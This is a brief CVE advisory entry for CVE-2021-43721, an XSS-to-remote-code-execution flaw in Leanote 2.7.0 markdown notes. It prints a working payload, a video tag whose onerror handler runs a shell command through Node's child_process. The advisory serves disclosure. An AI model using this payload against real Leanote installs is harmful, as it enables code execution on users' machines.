CVE-2021-43721: Leanote

Medium severity, CVSS 6.1. EPSS: 1.1% chance of exploitation in the next 30 days.

Leanote 2.7.0 is vulnerable to Cross Site Scripting (XSS) in the markdown type note. This leads to remote code execution with payload : <video src=x onerror=(function(){require('child_process').exec('calc');})();>

Affected products

• Leanote Leanote: version 2.7.0 only

Published 2022-03-28. Last modified 2026-06-17.